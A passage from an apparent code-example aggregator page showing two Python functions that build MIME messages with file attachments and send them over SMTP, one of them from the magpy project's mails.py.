                  'version': VERSION,
                  'msg': self.text
          }))
        
        msg.attach(MIMEText(str(message_content)))

        for attach in self.attachment:
            if os.path.exists(attach) == True:
                part = MIMEBase('application', 'octet-stream')
                part.set_payload(open(attach, 'rb').read())
                Encoders.encode_base64(part)
                part.add_header('Content-Disposition', 'attachment; filename="{}"'.format(os.path.basename(attach)))
                msg.attach(part)

        while True:
            try:
                mailServer = SMTP()
                mailServer.connect(server, server_port)
                mailServer.starttls()
                mailServer.login(gmail_user,gmail_pwd)
                mailServer.sendmail(gmail_user, gmail_user, msg.as_string())
                mailServer.quit()
                break
            except Exception as e:
                #if verbose == True: print_exc()
                time.sleep(10) 
Example #28
Source File: mails.py    From magpy with BSD 3-Clause "New" or "Revised" License 4 votes vote down vote up
def send_mail(send_from, send_to, **kwargs):
    """
    Function for sending mails with attachments
    """

    assert type(send_to)==list

    files = kwargs.get('files')
    user = kwargs.get('user')
    pwd = kwargs.get('pwd')
    port = kwargs.get('port')
    smtpserver = kwargs.get('smtpserver')
    subject = kwargs.get('subject')
    text = kwargs.get('text')

    if not smtpserver:
        smtpserver = 'smtp.web.de'
    if not files:
        files = []
    if not text:
        text = 'Cheers, Your Analysis-Robot'
    if not subject:
        subject = 'MagPy - Automatic Analyzer Message'
    if not port:
        port = 587

    assert type(files)==list

    msg = MIMEMultipart()
    msg['From'] = send_from
    msg['To'] = COMMASPACE.join(send_to)
    msg['Date'] = formatdate(localtime=True)
    msg['Subject'] = subject

    msg.attach( MIMEText(text) )

    for f in files:
        part = MIMEBase('application', "octet-stream")
        part.set_payload( open(f,"rb").read() )
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(f))
        msg.attach(part)

    #smtp = smtplib.SMTP(server)
    smtp = SMTP()
    smtp.set_debuglevel(False)
    smtp.connect(smtpserver, port)
    smtp.ehlo()
    if port == 587:
        smtp.starttls()
    smtp.ehlo()
    if user:
        smtp.login(user, pwd)
    smtp.sendmail(send_from, send_to, msg.as_string())
    smtp.close()